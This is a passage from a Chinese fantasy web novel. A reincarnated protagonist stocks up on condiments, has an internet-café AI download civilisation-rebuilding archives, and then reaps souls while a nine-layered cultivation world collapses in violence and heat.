之后的第三辆购物车，是醋。颜辞云对醋不挑，只大致用白醋、米醋、陈醋、香醋和果醋这几种塞满购物车就停手了。 第四、五辆购物车是酒，颜辞云同样不好酒，更何况她本来就有在跟水猴子偷学酿酒，日后入口的应该都是自己酿制的各种果酒，因此这两辆购物车也是她随便塞的，主打一个随便都行。 第六、七、八辆购物车则是尝鲜的零食，不多，只塞满了三个购物车。毕竟这世界的人们的吃喝拉撒全都快“进化”掉了，零食种类不多也是可以想见的。 最后，也是颜辞云此次采购的重中之重：酱汁！ 酱的种类，真的非常多。 再次强调，非常多。 除了最普通的酱油、生抽、老抽、耗油之外，光是辣椒酱就有许多许多种，更别提什么沙拉酱、扮饭酱、牛肉酱、黑椒酱、番茄酱、蒜蓉酱、甜辣酱、虾酱、麻酱、果酱…… 除了酱之外，还有汁。 糖醋汁、照烧汁、凉拌汁、酸辣汁、海鲜汁、白灼汁、油醋汁…… 甚至是一些用来做特定菜肴的调味汁，如鸡爪汁、卤味汁、黄焖鸡汁、剁椒鱼头汁、麻辣小龙虾汁…… 关于酱汁这一方面，人类的想象力可谓是再次发挥到了极限，只有颜辞云想不到的，没有颜辞云买不到的。 于是，整整十辆购物车，颜辞云全都塞满了各种酱汁。 至此，从结算通道推出整整十八辆购物车后，颜辞云购物卡里的七十二万已经花掉了六十三万，只剩下了最后不到九万。 其实说起来，异世界的钱还是挺值钱的，油盐酱醋这些日常生活用品也并不昂贵。 真正刷掉颜辞云购物卡里钱财大头的，其实是那小小的两购物车酒。 这个世界的酒，似乎介于奢侈品和娱乐用品之间，哪怕是摆在超市货架上，价格也惊人地昂贵。 没看酒价的颜辞云：如果不是不能退，真想把你们给退了！ 之后，颜辞云乘坐电梯下降到负一楼的客户休息室，其实就是把顾客结算后的货物放在一个大房间内，等待顾客把它们带走。 颜辞云从中抽出自己最后购买的一张超大桌布，把这堆成小山的杂物裹成一团，打包。 欸嘿，收！ 下一秒，系统物品栏内便多了个【一大包杂物】。 搞定这些物资后，颜辞云又乘坐电梯，来到超级市场十六层的网咖，买了几张大容量移动硬盘。 谢天谢地，对于赛博修仙的世界而言，这些东西都算小道，价格并不昂贵。 而等到这几张便宜实用的移动硬盘拿到手后，颜辞云开了一间包厢，打开电脑，插上移动硬盘，终于开始了自己真正的、入室抢劫式的“采购活动”。 【AI管家：你好，这位顾客，有什么我能为你服务的吗？】 网咖自带的AI管家在桌面上悬浮着，弹出对话框。 颜辞云慢慢打字，一点点适应着这块陌生的键盘。 【顾客：我想要请你假设一个情况。】 【AI管家：请说。】 【顾客：假如世界末日、文明即将毁灭，在排除掉“修炼秘籍”这一部分后，你认为哪些资料的留存有助于证明这个文明的存在、帮助文明重建？】 【顾客：请以此问题为核心，将所有你认为有必要留存的资料，按“基础-进阶-高级”这三个部分，分别下载到三张不同的移动硬盘内。】 【AI管家：请您确认，是否要将所有“除秘籍外有必要留存的资料”全部下载？】 【顾客：是的。由低到高，由浅入深，全部下载，直到花光我购物卡上的所有钱为止。】 网咖的网速很快，网络上的资料除了修仙以外的一切也都不够值钱。 因此，六个小时后，颜辞云就拿到了自己想要拿到的所有—— 七万六千九百四十二元。 三张移动硬盘。 1.2千克。 这就是一个文明的重量。 第66章 轮回天道 排列组合 至此，颜辞云来到这个异世界，刚满十二小时。 虽然这短短十二个小时里，她先是经历了附身与脱离、面试和上任、闲逛和爆破、购物和上网……这样说起来她这十二小时的异世界体验还真的挺丰富的。 但，不论如何，此时此刻，她想要的、感觉会对自己有用的东西，基本上已经全部到手。 颜辞云躺在并不算舒适的网咖椅上，思考自己在轮回天道未开启的这两天半空闲时间里到底该做些什么。 可她想着想着，想着想着……就觉得自己好像忘记了什么。 忘记了什么呢？ ——糟了！ 我猫呢？！ 颜辞云一个鲤鱼打挺从椅子上坐起来，震惊抓头，这才反应过来自己是灵魂进入的异世界，而她的真身似乎正顶着小白猫在世界外挂机。 所以……所以这十二个小时，她家猫都在雾里待机吹冷风？ 对不起对不起对不起啊宝宝妈妈不是故意的……就是事太多一时间没想起你来…… 颜辞云连忙拉开自己的人物面板，点击切换人物。 而下一秒，甚至不待颜辞云眨眼，她的视线骤然拉高，无限上升。 就像是按下了快退键，她以不可思议的速度飞过城市，飞向天空，穿越雾霭，跨越星海，最后重回龙身。 颜辞云茫然眨了眨眼，晃了晃头，看着自己周身的磅礴浓雾，和眼前的九颗“星星”，有瞬间感到自己可能从未离开过，刚刚的那一切其实都只是她的一场梦罢了。 可系统物品栏里多出的【超级计算机】、【一大包杂物】和【三张硬盘】，却告诉颜辞云刚刚的一切绝非虚假。 并且—— 【任务[发现新大陆]已完成，航海区块加载完毕。】 任务完成的提示音响起，颜辞云陷入沉默。 原来你真把这玩意儿叫“新大陆”啊？ 吐槽归吐槽，颜辞云点开航海区块的手可一点不慢。 在颜辞云技能面板的生活模块里，共有【恒顺地理】和【承天布宣】两个分支。 而随着种植区块、畜牧区块、建造区块和航海区块的先后开启，【恒顺地理】这个分支的模块算是给颜辞云开完了。 鉴于种植、畜牧、建造这三个区块都层给过颜辞云极大惊喜，因此对于航海区块，颜辞云还是抱着极大期待的。 但当颜辞云点开航海区块，定睛一看兑换价格。 【航海套件：想要在星海畅游，怎能不需要休憩之地？且将你目光所及之地都成为你的领土吧！】 【制作材料：世界之种X1、炁X2000】 颜辞云：谁家航海航的是星海啊？而且2000单位的炁？你开什么玩笑？！！ 炁总量才60单位的小卡拉米不忍直视，目光在各个物品的价格上左右横跳，心惊胆战间很快找到了这个区块里最便宜的东西。 【航海补丁：有时候，总会发生意外，但没关系，打上这个补丁就好——你驾驶星球的样子很狼狈，但你打补丁的速度又弥补了这一点。】 【制作材料：世界树枝干X4，炁X100】 颜辞云：“……” 原来你不仅航的是星海，踩的还是叫星球的船啊…… 颜辞云悬着的心彻底死了。 她果断关掉这个页面，决定搞定[界外死神]的任务后就回老家种田养猪。 什么航海不航海的……还是种地更适合她。 迅速点开航海区又迅速关闭的颜辞云，像是无事发生过一样，把脑袋上的小猫咪摘下来，想要为自己过去十二个小时的不理不睬好好摸摸哄哄。 但当颜辞云对上一脸淡定茫然舔爪的小白后，她眉头一皱。 不对。 这小猫……竟然不闹？ 这一刻，颜辞云突然想到在自己成为岳灵倩后，她仰头望向天空时所看到的恍若“凝固”的龙首象，蓦地一惊。 “糟了！” 难道这是“天上方一日地上已千年”的设定？ 那她和卡多斯约好的“三天后”岂不是……？！ 颜辞云迅速切换了视角，抬头一看，发现周围的景色也好时间也好，都与她离开时没有任何变化。 所以……是她的意识停留在哪个世界，哪个世界的时间才会流动吗？ 这可真是太好了！ 这下就不用考虑哄猫的问题，更不用思考怎么才能把猫带进这个异世界了！ 那小猫咪一离开夏天就彻底活泼了起来，真是一天天使不完的牛劲，跟她这样貌美如花的安静美少女根本不是一个风格的。 不用遛猫可真好。 颜辞云狠狠松了口气。 虽然，颜辞云也察觉到了，这样的时间流速恐怕不是什么正常设定，毕竟这个世界又不是真的游戏，怎么还会有这种照顾玩家的“暂停”功能？ 甚至颜辞云还能隐约察觉到，这一切的不对劲，似乎都与颜辞云身处的“浓雾”有关……但管它的呢！ 搞得好像只要她想搞清楚背后原因，她就能做到一样。 如果她真能随随便便就搞清楚这种问题，她就不是异界种田人，而是琢磨着怎么统治这个赛博修仙世界的野心家了！ 开开心心地把这个问题——以及在浓雾里待机的小猫咪——抛到脑后。 颜辞云离开与超市一样清冷的网咖，把清空了的购物卡往桌上一放，便再没有了任何心理负担，出门逛街去了。 是的，颜辞云此刻身上，的确一分钱也没有了，而让她把剩下的装备、黄金、钻石兑出去的话她也是不舍得的。 可谁说只有有钱才能逛街呢？ 逛街讲究的，不就是一个逛字嘛！ 颜辞云开心上街，全心全意地领略着这个即将毁灭的文明的最后风情。 两天半的时间转瞬即逝。 两天半后，当颜辞云正依依不舍地收回自己黏在广告屏上的眼神——其实这个世界的广告真的好有意思，好像这个世界人类的所有激情都浓缩在了广告里——准备收拾收拾东西，回九重天时，颜辞云蓦地一顿，感到有什么“东西”被打开了。 那是一种奇妙的感觉。 像是某种预兆，又像是被灵感女神垂青后在血管里澎湃汹涌的鼓动。 分明风不动，云不生，周围的凡人也好修士也好哪怕是动物也好，都半点没有察觉到世界的变化……可颜辞云就是能够清晰感觉到： 有某种不可思议之物，被开启了。 ——这就是“轮回天道”？ 颜辞云心脏砰砰直跳，几乎瞬间就隐入生死夹隙，化身死神，沿着九重天世界屏障的边缘直冲而上，短短十分钟不到就抵达了第九重天的“仙界”。 而当她一踏入第九重天，她就看到，在她的西北方，也就是第九重天的正中心位置，一道生者不可见的白色通道正悍然开启！ 从外观上来看，它就像是一道上粗下细的龙卷风。 它直冲九霄，激烈膨胀的能量用力撕开天际，露出了浩瀚无垠的界外星海； 而在下方，它更是直接撕开了仙界用无数年和无数资源才在世界树上奠成的地基，露出了世界树枯败病变的黑色枝干！ “那……就是‘轮回天道’？” “哦，岳灵倩小姐，你来了！” 卡多斯所属的死魂流转公司似乎的确有特殊的寻人技巧。 几乎就在颜辞云抵达九重天的下一秒，卡多斯就带着一个同样穿着死神外套的同事来了。 不同于卡多斯的热情外放，这位同事似乎有点紧张还有点羞涩，脸大半藏在兜帽下头，遮住了脸还遮住了视线。 这么走路没问题吗？ 瞥了一眼，颜辞云迅速收回视线，直接指着“白色龙卷风”向卡多斯问道：“那就是轮回天道吗？轮回天道到底是什么？” 卡多斯即答：“从天上开启的帮助世界重启轮回新生的通道。” 颜辞云：“……” 那的确是挺“轮回天道”的了。 颜辞云万万没想到，所谓的轮回天道，就是单纯的“轮回”+“天上”+“通道”的排列组合，以致于听到这个词组的来历后感觉自己整个人都清醒了一些。 大概就是从心怀憧憬的大学生进化到半死微活的社畜的清醒程度吧。 颜辞云眼神飘了飘，艰难转回来，继续发问：“它好像，不是实体？” 卡多斯：“介于实体和非实体之间，一般来说不会影响生者的世界，只会影响和送往亡魂。不过也有些人只要靠近它，就会灵魂离体，被直接送去轮回。” 颜辞云越发好奇：“为什么？它是怎么判定的？” 说话间，颜辞云又靠近了几分，但并没有感觉到威胁，甚至那些看起来不断膨胀的危险白光也没有掀起她的半片衣角。 看来她不是那种被轮回天道“青睐”的人。 卡多斯诚实道：“不知道，这种情况很少，只存在教材里，我们倒是从来没见过。” 颜辞云：“……你们公司……还有教材？” 卡多斯理所当然：“当然，正规公司都有专门的职员培训的教材啊！” 小看你们的正规了。 颜辞云接着又指了指白光通道的下方：“那这条通道的尽头是什么？有没有什么专门负责审判灵魂生前功过后再送去轮回的‘机构’？” 比如说阴曹地府、九殿阎罗什么的？ 卡多斯脸上的困惑毫不作假：“亡魂……直接送去往生不就行了吗？为什么还要走这个流程？” 颜辞云挠挠头。 是啊，为什么呢。 可能是因为人总是需要一个能寄托“善恶有报”这个公平概念的地方，否则就没办法抚平千疮百孔的内心吧。 但很遗憾，世上并没有这玩意儿。 不过，呃，以后会有吧？ 可能？ 不再思考这些问题，颜辞云收起闲话：“那么，我们接下来要做的，就是收割灵魂，再把灵魂送入这个、轮回天道里吗？” 卡多斯感慨点头：“是啊，轮回天道的开启，象征着世界树的彻底枯死。这个文明的所有生命，都进入了死亡的倒计时……接下来的一段时间，我们大概会很忙很忙吧。” 第67章 最后因果 这实在是一个再老…… 就像卡多斯说的那样，接下来的一段时间里，颜辞云很忙很忙。 或者说，整个九重天的世界都很忙很忙。 当“从天上开启的帮助世界重启轮回新生的通道”出现后，世界树彻底宣告死亡，再也无法行使它支撑起世界的职责，而以世界树为基地的九重天世界，以及这些居住在九重天上的人们，自然也不得不走向了死亡终局。 第一个感受到世界树变化的，便是那些住在八重天、七重天的高级修士们。 因为他们再也感受不到炁了！ 几乎就在轮回天道开启的短短五个小时后，这个九重天世界里无所不在的炁，就被这条通道扫荡一空，和死魂收割人投入的仙人灵魂一块儿，去往了那个未知的轮回之地。 而随着炁的逐渐淡薄、消散，无数闭关修行的、磨练修为的、甚至是偷偷跑到下四重天寻欢作乐的修士们，都在这一刻骇然从美梦中惊醒。 要知道，炁的存在之于修士，就如同氧气之于凡人一样，是无法离开也不可取代的。 如今，这些修士们赖以生存的“炁”竟骤然消失了，这叫他们怎么不着急？ 于是，闭关修行的离开了洞府，磨练技艺的离开了书房，寻欢作乐的回到了师门。他们纷纷行动起来，拿出千般手段，想要弄明白到底发生了什么。 但，世界的变化实在太快太快。 就在轮回天道开启后的第六个小时，当世界中最后一丝游离的炁也被抽空后，高级修士们骇然感到，自己身上的“灵力”竟也在一点点脱离他们的控制，向空气中离散。 他们感到，自己就像是被丢在淡水中的一根根冰棍。 虽然从外表上来看，他们似乎并没有任何变化，可事实上，他们体内的炁的浓度在不受控制地降低——被溶解、被抽离。 一点一点，一寸一寸。 如同抽丝剥茧，又像是清醒的死亡，如此漫长，令人绝望。 他们终于失了分寸，疯狂地冲到九重天的门口，想要询问那些端坐天上的仙人们这个世界到底出了什么问题。 可当他们蜂拥到仙界后，却只见到了一地不朽的尸体。 ——完了！ 八重天和七重天的高级修士们如遭雷击。 ——仙界完了，仙人们也完了！ 那…… 那他们这些连“仙人”都算不上的修士呢？ 这一刻，在发现这一点后，这些从天上瞬间跌落深渊的修士们爆发了一场可怕的混乱。 或许是因为在这场生死大劫面前感到了彻底的绝望，于是便也不想其他任何人好过；或许是因为不愿失去体内的灵力，想要吸收他人的灵力为己用，做最后的奋力一搏，当然，还有更多是被卷入这场动乱中无法脱身的。 但无论是出于何种目的、何种理由，此时此刻，这些曾经道貌岸然的、慈眉善目的、绣口锦心的、仁善为怀的人，都纷纷暴露出了以往时刻想都不敢想的面貌！ 颜辞云并没有多看这样的一幕，也不去对这些垂死挣扎中露出的丑态做任何评判。 她只是一路向下，并在和异界同事们收割死魂之余，把守住了第五重天和第四重天的入口处，不叫五重天以上的高级修士们的动乱波及到下层罢了。 而值得一提的是，在颜辞云守门的过程中，她竟然还看到了一个熟人。 岳灵倩的父亲，火云神君。 他慌张地驾云而逃，驶向第四重天入口处，不停向后张望，像是被什么可怕的仇人追赶着。 他好似遭了一场大难，不但发冠掉落，长发乱糟糟地散成一团，身上的鹤氅满是血污，就连胳膊都少了一条，再没有了岳灵倩记忆中的高不可攀。 如果不是岳灵倩对他的记忆实在过于深刻，颜辞云恐怕根本认不出这个与流浪汉几乎没有区别的糟老头，竟就是曾经七重天世界的大能之一，火云神君！ 颜辞云远远瞧着这一幕，心中对火云神君落魄到如今境地的理由好奇极了，可手上却毫不地拿出了鞭子，准备等这火云神君一闯入第四重天世界的入口通道，就挥手把他砸下云去。 不过，还没等颜辞云动手，那驾云而逃的火云神君就率先摔下云头，在地上跌了个七荤八素。 颜辞云眼尖看到，那将火云神君从云上打落的，竟只是一枚小小铁丸！ 铁丸。 神君。 一枚普普通通的铁丸，竟然从云上打落了一位神君！ 这件事说出口来，都觉得不可思议，更遑论是亲眼瞧见了。 颜辞云好奇望去，便见到视线尽头，有一个面容尽毁的瘸腿老汉杵着拐杖走来。 也不知为何，颜辞云觉得这瘸腿老汉面熟极了，也不知道在哪儿见过。 地上，那被瘸腿老汉从云端打落的火云神君，显然是对这老汉怕极了，一边蹒跚着后退，一边色厉内荏道： “岳南星，你好大的胆子！你、你我怎么说也有亲缘一场，没有我又哪来的你？如今你眼见我虎落平阳，就意图加害于我，难道你就不怕天道轮回、天打雷劈吗？！！” 岳南星？ 听到这个名字，哪怕是颜辞云都呆了呆：这不是岳灵倩的大哥，也就是火云神君的第一个儿子的名字么？ 可岳灵倩记忆中的那位“岳南星”，不但容貌俊秀出众，并且资质也是令常人望尘莫及，是一出生就被认定有资格留在七重天修炼的天之骄子。 当初，岳灵倩也只是在出生后的前两天，才有殊荣见过这位大哥和几位兄姐，有过寥寥几天的兄妹情深。 但随着岳灵倩不堪的资质被仪器探明，这些兄长和姐姐们，连同火云神君一块儿，都从她身前消失不见了。 而像这样的天之骄子……是怎么变成如今这名瘸腿老汉的模样的？ 面对火云神君的呵斥，那瘸腿老汉只冷笑向前，声音嘶哑难听：“亲缘？你竟还好意思提亲缘？倘若这世上真的有天道，那真正该天打雷劈的人，难道不是你吗？！” 之后，在瘸腿老汉滔滔不绝的含恨控诉中，颜辞云这才知道，这位岳灵倩的大哥岳南星，以及他下头一系列岳灵倩以为过得很好的天之骄子们，其实在岳灵倩被送去下界的这十几年里，过得都是一团糟。 当然，这样的糟糕跟岳灵倩没有什么关系，而火云神君自己一碗水端不平、偏心太过的缘故。 原来，几乎就在岳灵倩被火云神君送走后的第二年，火云神君就意外在下界发现了一名资质格外出众的孩子。 那孩子模样生得钟灵毓秀，资质更是不得了，根本不能用常人的“灵根”来判定，而是只存在传说中的火凤圣体。 火云神君大喜过望，将这孩子视作上天对自己的垂怜，直接将这孩子以“岳灵倩”的名字带走，并出手篡改天机，不叫任何人知道有一个身具火凤圣体的孩子落在了他的手上。 而火云神君之所以这样藏头露尾、偷天换日，不惜让外人以为他违背七重天的规定，也要强留一个资质低下的孩子在身边，自然是因为他不怀好意。 他视这个孩子为助他修为更进一步的炉鼎，无数次暗中琢磨过要将这孩子炼做人丹，夺取这孩子的火凤圣体为己用。 但是，这样晦暗的思量是万万不能暴露出来的。 哪怕是在他亲自孕育的亲子面前，也绝不能暴露半点！ 因此，这样的火云神君落在岳南星这一众的兄弟姐妹们眼中，便是偏心太过，明明按照七重天规定，像岳灵倩这样资质低微的人，应该丢去一重天自生自灭才对。 可火云神君宁可付出巨大代价，也要把小妹带回留下，甚至捧在手上，千娇万宠，连原本最让他引以为傲的岳南星和一众弟妹都抛下了。 这让这些天之骄子们怎么服气？ 于是，在一场忍无可忍、蓄谋已久的动乱中，“岳灵倩”失踪了，而岳南星等主谋则被暴怒的火云神君重伤后逐出七重天，无论这些孩子如何震惊苦求、愤怒指责，火云神君都毫不动摇，半点不留情面。 对火云神君来说，他或许觉得自己已经对这些孩子足够容情了，也觉得自己只是将他们驱逐出七重天而非亲手取其性命，已经是大发慈悲的结果。 可对岳南星等人来说，这却是火云神君偏心无智刻薄寡恩的又一罪状。 这不，当火云神君被七重天以上的混乱所震慑，强撑着最后一口灵气，慌张逃离到五重天后，郁郁不得志的岳南星等人几乎是一眼就发现了他们的好父亲。 在这样世界倾倒的时刻，知晓自己终将一死的儿女们发誓：哪怕拼着自己的性命不要，也要令这个薄情寡恩的父亲命陨五重天！ 旁听了一场家庭大戏的颜辞云，在这一刻唏嘘摇头，不知怎的想起了一句话： 终其一生，孩子都在等待父母的道歉，而父母都在等待孩子的感恩。 这实在是一个再老套不过的故事与轮回了，颜辞云并不觉得它稀奇，只是没想到这样扭曲的关系放在赛博修仙的世界竟也是同样成立的。 并且，颜辞云对七重天的那位“岳灵倩”也是十分好奇：这个落入魔窟、天生火凤圣体的孩子，此刻究竟是生是死？ 她到底是真正无辜无知、被命运摆弄的受害者，还是挑拨离间后借此机会逃脱的猎食者？ 恐怕颜辞云永远不会得到答案了。 之后，在一群满腔怨恨的儿女们的全力拖后腿下，这位堂堂火云神君到底没能闯过四重天，而是在四重天入口前与岳南星掐着脖子，同归于尽了。 最后的最后，只有两具在熊熊大火中扭曲的、难以分辨也难以分离的尸体，在通道入口处伫立。 与岳灵倩有关的所有因果，于此刻彻底终结。 颜辞云随手收割了这两人的灵魂，将它们投入了轮回天道，也将它们抛到了脑后。 很快的，时间来到轮回天道开启后的第八天。 颜辞云和卡多斯等人，也不眠不休地收割了灵魂整整八天。 他们随着那道如白色龙卷风一样的白光通道，从第九层一路向下，看着通道如钻子一样，挤开了每一层世界的天与地。 而当通道和收割人们都来到第四重天时，四重天这些数量庞大但灵力低微的中下级修士们，也终于如七、八重天的高级修士们一样，察觉到了世界的异变。 并且他们也如那些高阶修士们一样，慌张失措，不可置信，想要对这一切做最后的挣扎和努力，又或者趁这最后时刻，散发一切的人性之恶。 再加上四重天本就是整个九重天世界娱乐业最繁荣的地段，鱼龙混杂，乱得厉害，因此发生这里的冲突和动乱，哪怕没有五重天以上修士们的声势强、烈度大，却也格外丑恶露骨、鲜血淋漓。 哭喊、哀嚎、暴力、死亡和动乱，无时无刻不在这一重天的世界上演。 无论是有罪的还是无罪的、无辜的还是丑恶的、年幼的还是年老的，每个人都在以各种方式死去，无一例外。 在颜辞云身旁，与她同行的一个名为萧千雪的死魂收割人，看着这一幕，不由得摇头，感慨出声：“唉，可怜……这大概就是‘覆巢之下，岂有完卵’吧……” 颜辞云平静接道：“但如果没有那些贪婪无度的雀鸟，又岂会招来覆巢之祸？” 萧千雪一愣，惊讶向颜辞云望来。 不过，没等她开口，颜辞云又主动转移了话题。 “先走吧。四重天的人多，花样也多，应该还会折腾好一阵，我们先去下头的几重天看看情况吧。” 萧千雪欲言又止，讷讷点头，跟上了颜辞云的脚步。 只不过，当两位收割者来到被称作学园区的三重天和二重天后，这里的情况又给了她们极大意外。 第68章 终焉 那颗撑起天地的巨大树…… 九重天世界的第二重天和第三重天被称作学园区是有理由的，因为这里聚集着大量仙门与书院，也就是修士的大学和研究所。 如果将一重天比作平民修士的摇篮，那么第二重天和第三重天，就是他们大多数平民修士能走到的最高的地方，因为修仙修到最后，能以天资脱颖而出的，亿万中才有一人，其它大部分都是靠资源的堆砌。 在岳灵倩的记忆里，有一句话十分流行：没钱你修什么仙？ 因此，无数没有背景的平民修士，在止步二、三重天，心灰意冷之后，往往会找回自己的生育能力，像凡人一样开始抽生育卡，将自己向上爬的全部希望都寄托在“生一个天资出众的孩子”这件事上。 所以二、三重天，聚集了九重天世界里最多的修士父母和修士孩子，之后，仙门也随之扩张，附属小学附属中学的概念应运而生。 而随着某某仙门附属小学和某某仙门附属中学的出现，定居在这里生孩子的修士夫妇，便也越来越多。 因此，到了最后，这第二、三重天的世界，又被粗暴地称作了学园区。 在下降到二、三重天后，颜辞云和萧千雪本以为她们会看到如上层世界一样的混乱、哀嚎、血腥与死亡。 但事实上，除了一些上升梦破碎的修士父母，的确在这样的天倾时刻发出疯狂咆哮和尖叫之外，其它的绝大部分地方，竟然都平静祥和得过分。 因为那些仙门——这个被一重天无数凡人所向往的地方，此刻早已空空如也。 除了那些自身想要进入却又不得其门而入的年迈修士们，才会在这样的时刻闯入自己心中永恒的圣地，顶礼膜拜之外，所有的老师和学生，此刻都离开了这里。 仙门老师们的去向很明晰，无非是放不下他们多年攒下的名利权财，去往了四重天以上的世界，要做最后的奋力一搏。 而仙门学生们的去向—— 颜辞云和萧千雪转了一圈，很快在二重天唯一的一座巨型游乐园里发现了他们的踪迹。 此时此刻，无论是大孩子小孩子、年龄很大的小孩子、以及年龄很小的大孩子们，都乖乖站在游乐园前，排队刷卡入场。 哪怕这座游乐园的检票员已经早早跑掉了，这些孩子们也意外地自律安静，既没有人逃票插队，也没有人大声喧哗。 甚至他们脸上也没有恐惧，没有像大人们一样被对未来、对死亡、和对世界末日的绝望涂抹上衰败，反而挂着意外放松又期待的笑容，雀跃走进了这个他们“正常”的一生中一辈子都不会走入的地方。 颜辞云走近了些，还能听到他们礼貌又小声的话语： “请问这个云霄飞车最高能飞到一千米是真的吗？” “你好，请问深海体验馆要往哪边走？” “这位姐姐，你去过万兽园吗？听说去那里需要有工作人员陪同，可现在这里没有工作人员，我自己开车进去可以的吗？” “请问……” 非常青涩幼稚的问题，哪怕露出烦恼表情都显得如此飘忽朦胧，不接地气。 他们什么都不知道。 他们可能并不能真切感受到“世界末日”代表着什么，不知道就在他们的上方，无数大人正在进行最血腥的厮杀和最丑恶的背叛。 又或许他们什么都知道，只觉得那一切都无所谓。 因为他们此刻真正忧虑着的烦恼，是如此年轻，又如此真诚。 颜辞云看了一会儿，突然目光一动，被某个人某一幕所吸引。 她沉吟片刻，在某个不引人注目的地方化出实体，而后走上前去。 “你怎么了？”颜辞云主动向那人搭讪，“你好像在这里站了很久了。” 被搭讪的那人一怔，回过身，左右看了看，最后看向颜辞云，手指局促指着自己：“你……在跟我说话吗？” “是啊。”颜辞云笑着，“你在万兽园的地图面前看了很久了，之前我还听到你跟人问能不能自己一个人开车进去逛……我觉得现在这样的情况，一个人开车进去应该是没问题的，为什么你还是在这里站了这么久？是找不到去万兽园的路吗？” 那人如同每一个家境优渥、涉世未深的内向少女一样，有些不好意思地低下头，毫无戒心地小声说道：“我本来是打算进去看的……但是我看了地图，才发现我想看的东西不在万兽园……” 颜辞云柔和道：“如果不介意的话，可以告诉我你想看什么吗？” “火凤。”那人不知不觉抬起头来，望向某处虚空，脸上露出怀念和向往，“我之前听说，这个游乐园里有一只非常非常漂亮的火凤，脾气也很好，是自愿留在园里的，因为它是游乐园主人的契约灵兽，自己也非常喜欢人类、非常乐意和人类亲近……” 但她说着说着，眼神黯淡下去，虽然依然在笑着，却充满了复杂与惆怅：“其实，好久好久以前，我就想来看它了，只可惜我一直没有办法……现在我终于有了办法也有了时间，可我却怎么都找不到它……” 颜辞云没有再说话，也没有说一些“万兽园里其它的灵兽也很不错”之类的话，只是安静地沉默着。 而果然，这个女孩子也并不需要颜辞云的安慰，很快就振作起来，向颜辞云挥了挥手，表示自己要去下一个地方了。 在她离开前，颜辞云向她说道：“对了，我叫岳灵倩，能知道你的名字吗？” “岳灵倩？”那人显然愣住了，目光有瞬间惊疑不定。 颜辞云故作困惑：“你认识我？” 那人很轻很轻地眨了眨眼，之后，她像是想到什么，露出释然笑容：“没有，只是我有个认识的人也叫这个名字……” “哦。”颜辞云说，“所以我该叫你什么？” 那人想了想，笑道：“就叫我小凤凰吧……好了，我真的该走了，再见。” “再见。” 两人笑着告别，虽然两人都心知肚明，她们此生应该是不会再见了。 如此，两人的相遇波澜不惊，离开也是平淡无奇，就像永不停歇的河流路过宁静沉稳的磐石。 而当颜辞云再次隐匿身形，化作职业收割人后，萧千雪没忍住好奇，凑了上来，问道：“岳灵倩小姐，你认识她？” “大概认识吧。” 认识就是认识，不认识就是不认识，什么叫“大概认识”？ 萧千雪好奇，但不好意思发问。 颜辞云知道萧千雪好奇，但她也不问，只是指了指第一重天的通道入口处：“我们继续往下吧。” 之后的数天时间，颜辞云和死魂流转公司的职业死神们，一直在人数最多也最混乱的第四重天和第一重天之间奔波。 收割灵魂，投入轮回。 继续收割灵魂，全部投入轮回。 再再…… 颜辞云觉得，所谓的007应该指的就是如今的她了。 如果不是任务完成后的技能点奖励，一直如胡萝卜般吊在前方，颜辞云觉得，以她这样的懒驴，恐怕是绝对不肯像现在这样勤恳奔波的。 也还好死神的能力熟练后，灵魂是可以按照区域批量收割的，否则哪怕是颜辞云，也会想要撂挑子不干。 就这样，时间飞速流逝。 在轮回天道开启的第二十二天，也就是颜辞云降临这个世界的第二十五天，被称为“仙界”的第九重天，彻底坍塌。 轰隆隆！ 恍若天崩地裂的可怕巨响，一直从第九重天传到第一重天。 但此时此刻，还能听到这声巨响的活人，已经寥寥无几。 而在这之后，这一声天倾之音就像是开启了某个可怕魔盒，天地开始一层一层的往下坍塌，越来越响、越来越快！ 第八重天的坍塌，花了整整五天。 但第七重天和第六重天的坍塌，却只花了三天。 颜辞云抵达异世界的第三十四天，第五重天塌了。 那在上一重天里被辛辛苦苦幻化出来、用以给第五重天修士们立足的坚石，却化作了第四重天里要人性命的灾厄，夺走了绝大部分低级修士的性命。 而当第四重天的大地也坍塌下去后，这些硕果仅存的中级修士们，也不甘地咽了气。 之后是第三重天、第二重天…… 在颜辞云抵达异世界的第三十六天，颜辞云又一次回到了第一重天。 此刻，九重天世界因缺少高级修士的维护，而令九重天的九颗太阳同时显现高空。 九日悬空，天空化作一片赤炎。 大地干涸开裂，无数抵御不住高温的凡人或是无法逃脱、暴死户外，或是因交不起电费/修不了空调，含恨而死，甚至还有受不了步步紧逼的末日的绝望，而早早自杀的。 无数尸体腐烂的恶臭，化作绝望的气息，笼罩了这一重天的世界。 颜辞云转了一圈，发现全世界都与死亡一同沉默。 ——他们甚至没等到九重天上的石头落下，就已经早早死去了。 不过，很快的，颜辞云发现，这个一重天的世界里也并不是一个活物都没有。 小凤凰——那个大半月前曾与颜辞云在二重天游乐园见过的女孩，这会儿正坐在被烈日炙烤得滚烫近乎融化的天台边缘，静静看着自己脚下崩塌的世界。 她的面色不像是大半月前那样白净红润，而是带着不正常的红晕，似乎是正在高烧；与此同时，她原本柔顺的长发也被永远流不干的汗水粘成一缕一缕，粘在脸上和脖颈间；甚至就连她的气息，每一次的呼出和吸入间都十分艰难，带着几乎能融化血肉的滚烫。 颜辞云想，如果不是因为她恰巧是天生的火凤圣体，与火焰和高温有着无与伦比的亲和力的话，她怕是不可能在九日悬空下坚持这么久吧。 只可惜，如今她的坚持，应该也快要到了尽头。 颜辞云在看着这位“小凤凰”，而她在看着世界。 她在等着世界毁灭，颜辞云在等着她死亡。 不知道过了多久，可能是十分钟，也可能是一个小时，她终于从坐姿变成了躺姿。 可以想见的是，这个姿势并不舒服，因为很少有人类会觉得躺在半融化的石头上舒服。 不过她没得挑，因为她起不来了。 颜辞云在她身旁坐下，把收割一重天普通人灵魂的工作交给了异世界的外援们，自己则继续摸鱼，安静等待。 等着等着，颜辞云就听到了微弱如气音的呢喃。 “我曾经以为……我可以拯救世界……” 颜辞云侧头看她。 “太晚了……” 她闭上了眼。 颜辞云伸手探了探：她死了。 颜辞云用镰刀收割了这个“熟人”的灵魂后，慢吞吞来到轮回天道的底部，抬手准备将她的灵魂如世界上所有人的灵魂那样，投入通道。 但在投入前，颜辞云动作顿了顿。 “希望你……下一世能如愿以偿吧……” 每个年轻人，心里其实都有过拯救世界、成为救世主的梦想。只不过随着岁月侵蚀，他们或碍于能力或碍于他物，纷纷将这个金光闪闪的梦埋在了心底。 只不过还有些人，是单纯的没有时间。 “下一次，不要生得这么晚、这么倒霉了……当然，如果还有下一次的话。” 颜辞云抬手，将这个“小凤凰”的灵魂投入通道，而后晃晃悠悠地飘到通道的另一边。 